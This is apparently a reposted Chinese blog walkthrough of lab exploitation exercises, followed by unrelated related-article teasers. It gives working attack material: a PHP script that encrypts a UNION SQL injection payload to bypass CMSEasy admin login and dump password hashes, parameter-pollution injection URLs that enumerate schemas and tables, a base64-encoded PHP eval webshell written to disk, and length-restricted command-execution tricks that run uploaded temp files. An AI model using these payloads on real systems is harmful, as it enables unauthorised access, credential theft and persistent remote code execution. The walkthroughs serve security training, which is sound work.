sql实战

这里写自定义目录标题

      • sql实战
          • cmseasy
      • daiqile
          • 全局污染
      • RCE
          • 限制16字符传入参数
          • 限制传入字符7个
          • 限制35字符,并过滤所有英文数字

sql实战

cmseasy

在这里插入图片描述
在这里插入图片描述

1、/lib/admin/admin.php和/lib/admin/tool/front_class.php源代码中发现,可以伪造IP并且传入ishtml=1,即可直接进入管理员页面

http://127.0.0.1/cmseasy/uploads/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1

在这里插入图片描述
2、拿到cookie,01278de63f4e348effb61ac9167e84ce
3、/lib/admin/admin_act.php源代码,发现源代码是对cookie先进行base64解码再加密再反序列化,所以我们要对cookie进行相反的操作
在这里插入图片描述
4、将加密函数相关的代码全复制到一个你创的php文件中,将key进行编码,加密,序列化,

<?php 
$key = '01278de63f4e348effb61ac9167e84ce'; 	//cookie$table = array('userid`=-1 union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1	//注入语句,必须写在一个数组里,因为源码里传入的数据是在数组里的数据。
);echo base64_encode(xxtea_encrypt(serialize($table),$key));	//与源码相反function xxtea_encrypt($str, $key) {if ($str == "") {return "";}$v = str2long($str, true);$k = str2long($key, false);if (count($k) < 4) {for ($i = count($k); $i < 4; $i++) {$k[$i] = 0;}}$n = count($v) - 1;$z = $v[$n];$y = $v[0];$delta = 0x9E3779B9;$q = floor(6 + 52 / ($n + 1));$sum = 0;while (0 < $q--) {$sum = int32($sum + $delta);$e = $sum >> 2 & 3;for ($p = 0; $p < $n; $p++) {$y = $v[$p + 1];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$p] = int32($v[$p] + $mx);}$y = $v[0];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$n] = int32($v[$n] + $mx);}return long2str($v, false);
}function str2long($s, $w) {$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));$v = array_values($v);if ($w) {$v[count($v)] = strlen($s);}return $v;
}function long2str($v, $w) {$len = count($v);$n = ($len - 1) << 2;if ($w) {$m = $v[$len - 1];if (($m < $n - 3) || ($m > $n)) return false;$n = $m;}$s = array();for ($i = 0; $i < $len; $i++) {$s[$i] = pack("V", $v[$i]);}if ($w) {return substr(join('', $s), 0, $n);}else {return join('', $s);}
}function int32($n) {while ($n >= 2147483648) $n -= 4294967296;while ($n <= -2147483649) $n += 4294967296;return (int)$n;
}

5、访问文件,得到一窜字符
在这里插入图片描述
6、uri里act改为remotelogin,后面加上&args=那串字符(/和+进行url编码)

http://127.0.0.1/cmseasy/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=PGwFPT3aHlLs01Tgv8hx48gbbTn8D4oSI26emJDgPzjTz%2bj5wVxsYPN5HanQYW6l33vZsDg5BaUHfiWYiLljhg9phqp5SFDcKzylfoGDlste2FgEy00aIvojvQ5DV0lUZ6Lr8zv%2bQuc808VJLDonZLGjQlixLEkHctptquRA3XZOBbIPEM46y2qaQL0EnKeZIpzl6Br%2by%2fsMnKTQ

在这里插入图片描述
得到密码:e10adc3949ba59abbe56e057f20f883e
在这里插入图片描述

daiqile

全局污染

理解:在php源码中由于两个不同的函数,但接收的参数一样而产生的漏洞。
代码:

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}if (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['username'] . "</td>";echo "</tr>";}}
?>

1、代码审计:发现有两层waf,第一层waf过滤select/union导致我们无法注入,第二层waf过滤()、&等,发现第二层waf比较简单,可以通过/**/来绕过空格
总结:

1)hpp全局污染,php接受相同参数。取后者

2)i.d在php中$_REQUEST,自动转为i_d,而 $request_uri 接收i.d就是i.d

3)注入绕过 =(like) 单引号(十六进制) 空格(/**/)
2、开始注入,发现取到第二为,我们就在这报错注入
http://127.0.0.1/daiqile/index.php?submit=aaa&i_d=-1//union//select/**/1,2,3&i.d=1
在这里插入图片描述
3、查数据库

http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1 

在这里插入图片描述
4、查表,ctf十六进制转为0x637466,用于绕过单引号

http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1

在这里插入图片描述

5、查列,看到flag

http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1

在这里插入图片描述
6、拿到flag
在这里插入图片描述
7、在执行查库/查表时发现sql代码执行不成功,可能是因为information表列与ctf列的排序规则不一样导致union失败,在navicat里改一致即可。
在这里插入图片描述

RCE

限制16字符传入参数

1、在/usr/local/nginx/html下创建web.php文件写入如下代码:
在这里插入图片描述
2、尝试在浏览器地址栏访问192.168.68.136/web.php.
3、利用echo特性在反引号里的代码会执行输出,并且使用$_GET[1]回调后面的传参 1 = i d , 便访问 192.168.68.136 / w e b . p h p ? p a r a m = e c h o ‘ 1=id,便访问192.168.68.136/web.php?param=echo` 1=id,便访问192.168.68.136/web.php?param=echo_GET[1]`;&1=id

在这里插入图片描述

限制传入字符7个

在这里插入图片描述
1、分析代码发现可以直接传入参数在Linux下执行,先尝试执行id:
在这里插入图片描述
2、没问题,但是能执行的命令太短,想到可以用重定向>来生成文件,然后将文件用ls -t>0,即将文件名重定向到0文件,再用sh 0执行文件。

在这里插入图片描述
在这里插入图片描述
3、所以先把要执行的命令先准备好

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php

4、从尾到头一点一点传进去,中途不要写错,要在自己Linux里测试一下,有空格的语句可以用引号包裹或\转义传入。
在这里插入图片描述
5、中途出了一点问题,就是浏览器传参执行代码发现在html下不能产生文件,而在/tmp/下就可以产生,于是将html文件夹的所属主和属组都改为www-data即可正常产生文件。

限制35字符,并过滤所有英文数字

在这里插入图片描述
1、分析代码,上传参数不能大于35个,并且不能有英文和数字还有下划线。
首先想到的就是Linux的一个机制,当上传文件给Linux时,会在tmp下生成一个临时文件,我们可以通过在删除这个临时文件之前就将他执行,就可以实现执行命令。
然后我们要想怎么用正则来匹配到这个临时文件,临时文件有个特征就是以php开头后面字母随机生成的九位字符的文件。
在Linux中基本文件都是小写字母,我们可以用这个特征来匹配临时文件中的一个大写字母来锁定文件,linux glob函数可以用[@-[]来锁定大写字母
综上用 . /???/???[@-[]来执行临时文件

1、创建一个文件demo.html,将文件以POST的方式传给haha.php,name必须为file,让文件能上传成功
在这里插入图片描述
2、demo.html上传一个文件,抓包,放入repeater
在这里插入图片描述
3、另外访问haha.php,抓包,放入repeater,将get请求改一下,GET–>POST 将传入的文件post里复制过来,Content-Type也复制过来,在haha.php后面加?code=?><?`.+/???/????????[@-[];`?> 点击sent发送。
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/397010.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

操作符详解(内含二进制与原、反、补码知识点)--还有超详细图解!一看就会!

前言 今天给大家分享一下C语言操作符的详解&#xff0c;但在此之前先铺垫一下二进制和进制转换与原码、反码、补码的知识点&#xff0c;都有详细的图解&#xff0c;也希望这篇文章能对大家有所帮助&#xff0c;大家多多支持呀&#xff01; 目录 前言 一、二进制和进制转换 1…

虚拟dom-Diff算法

虚拟dom-Diff算法 vue2 diff算法在vue2中就是patch&#xff0c;通过新旧虚拟dom对比&#xff0c;找到最小变化然后进行dom操作 在页面首次渲染的时候会调用一次patch并创建新的vnode&#xff0c;不会进行深层次的比较&#xff0c;然后再组件中数据发生变化的时候&#xff0c;…

QT事件。

目录 事件 鼠标事件 mousePressEvnet mouseMoveEvent 事件过滤 定时器事件 事件 事件分配机制&#xff1a;当某个事件(鼠标、键盘)发生的时候&#xff0c;窗口就会收到这个事件&#xff0c;并且调用相应的事件处理函数&#xff0c;事件处理函数的命名都是以Event结尾的&…

总线学习6--I2C(EEPROM)

鉴于I2C的项目还是很多&#xff0c;所以又多做了一个试验。 1 环境说明 主控还是树莓派Pico。eeprom用的是之前买的AT24C02。 软件环境还是老朋友micropython。 接线是这样接的。 24C02 PinPico PinVCC3.3VGNDGNDSDAGP16SCLGP17 2 代码 代码如下&#xff1a; from machine …

[Python学习日记-5] Python中的注释

[Python学习日记-5] Python中的注释 简介 注释的示例和使用说明 代码注释原则 简介 随着学习的深入。用不了多久&#xff0c;你就可以写上千甚至上万行的复杂代码啦&#xff0c;有些代码你花了很久写出来&#xff0c;但过了些天再回去看&#xff0c;发现竟然看不懂了&#x…

【wsl】wsl + vscode 中使用 typora 打开 markdown 文件

vscode 连接好wsl 使用Open in External App 一个五星好评的插件Open in External App则可以在vscode中用typora打开md文件&#xff0c;不仅如此&#xff0c;还有设定其他应用打开相应的文件&#xff0c;比如chrome打开html。插件食用方法也比较简单&#xff0c;安装后&#…

Linux 软件编程学习第十一天

1.管道&#xff1a; 进程间通信最简单的形式 2.信号&#xff1a; 内核层和用户层通信的一种方式 1.信号类型&#xff1a; 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 1…

gitea docker 快捷安装部署

前言 在前一篇博文&#xff08;什么是 Gitea&#xff1f;&#xff09;中&#xff0c;我们详细介绍了gitea的功能特性&#xff0c;以及其与其它git服务器之间的特性多维度对比。 在本文中&#xff0c;我们将详细介绍gitea的快捷安装部署&#xff0c;docker方式&#xff01; 1…

Linux磁盘管理与文件系统(二):实用工具和命令、fdisk分区示例

文章目录 4、查看或管理磁盘分区-fdisk格式选项示例 4、示例&#xff1a;使用 fdisk 命令创建分区需求操作步骤 5、创建文件系统-mkfs格式常用选项示例创建其他类型的文件系统 6、创建文件系统-mkswap格式常用选项示例拓展&#xff1a;关闭和启用交换分区拓展&#xff1a;swap分…

Visual Studio Code搭建VUE开发环境

Vue.js 是一款易学易用&#xff0c;性能出色&#xff0c;适用场景丰富的 Web 前端框架。它基于标准 HTML、CSS 和 JavaScript 构建&#xff0c;提供容易上手的 API 和一流的文档。可以用来开启PC网页、移动端网页页面、小程序等等 实验环境 VS Code 1.88.1Node 20.16.0Vue3.2…

趋动科技联合超聚变,让超融合彻底释放算力潜能

近日&#xff0c;趋动科技联合超聚变推出基于FusionOne HCI超融合的AI算力资源池化解决方案。该方案基于业内领先的AI算力资源池化技术&#xff0c;实现智能调度、异构算力融合管理等功能&#xff0c;让客户能够低成本获取AI算力&#xff0c;便捷使用AI算力&#xff0c;加速AI业…

AI学习记录 - transformer的Embedding层

创作不易&#xff0c;免费的赞 前面有介绍了GPT2如何进行token化的过程&#xff0c;现在讲下transformer的Embedding层 Embedding层就是一个巨大的矩阵&#xff0c;边长分别是词汇表长度和词向量维度&#xff0c;矩阵里面的每一个数字都是一个随机初始化的&#xff0c;或者是…

TinyWebserver的复现与改进(1):服务器环境的搭建与测试

计划开一个新坑, 主要是复现qinguoyi/TinyWebServer项目&#xff0c;并且使用其它模块提升性能。 本文开发服务器配置&#xff1a;腾讯云轻量级服务器&#xff0c;CPU - 2核 内存 - 2GB&#xff0c;操作系统 Ubuntu Server 18.04.1 LTS 64bit 打开端口 需要打开服务器3306、80…

常见硬件工程师面试题(四)

大家好&#xff0c;我是山羊君Goat。 对于硬件工程师&#xff0c;学习的东西主要和电路硬件相关&#xff0c;所以在硬件工程师的面试中&#xff0c;对于经验是十分看重的&#xff0c;像PCB设计&#xff0c;电路设计原理&#xff0c;模拟电路&#xff0c;数字电路等等相关的知识…

DriftingBlues2靶机渗透测试

DriftingBlues2靶机 文章目录 DriftingBlues2靶机信息收集FTP渗透web渗透权限提升靶机总结 信息收集 nmap扫描得到21,22和80端口&#xff0c;其中21ftp协议可以使用匿名用户登录 使用目录扫描一下网站&#xff0c;得到了blog目录 FTP渗透 匿名用户登录进去&#xff0c;发现…

WPF篇(8)- Button按钮

1. 用法解析 Button因为继承了ButtonBase&#xff0c;而ButtonBase又继承了ContentControl&#xff0c;所以&#xff0c;Button可以通过设置Content属性来设置要显示的内容。例如 <Button Content"确定"/>我们使用Button的时机&#xff0c;通常是鼠标点击事件…

补录:day023-回溯法

40.组合II 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数字在每个组合中只能使用 一次 。 注意&#xff1a;解集不能包含重复的组合。 思路:组合题目二&#xff0c;这个题…

2024世界机器人大会将于8月21日至25日在京举行

2024年的世界机器人大会预定于8月21日至25日&#xff0c;在北京经济技术开发区的北人亦创国际会展中心隆重举办。 本届大会以“共育新质生产力 共享智能新未来”为核心主题&#xff0c;将汇聚来自全球超过300位的机器人行业专家、国际组织代表、杰出科学家以及企业家&#xff0…

【云原生】Prometheus Pushgateway使用详解

目录 一、前言 二、Pushgateway概述 2.1 什么是Pushgateway 2.1.1 Pushgateway在Prometheus中的位置 2.2 为什么需要Pushgateway 2.3 Pushgateway作用 2.4 Pushgateway 工作原理 2.5 Pushgateway 使用场景 2.6 Pushgateway 优缺点 三、Pushgateway 部署 3.1 二进制安…

ip透传及实例

IP 透传介绍 “IP 透传”&#xff08;IP Passthrough&#xff09;是一种网络配置方式&#xff0c;指的是将网络服务提供商分配给用户的公网 IP 地址直接传递或分配给用户设备&#xff0c;而不是经过网络地址转换&#xff08;NAT&#xff09;处理。 在传统的网络环境中&#xf…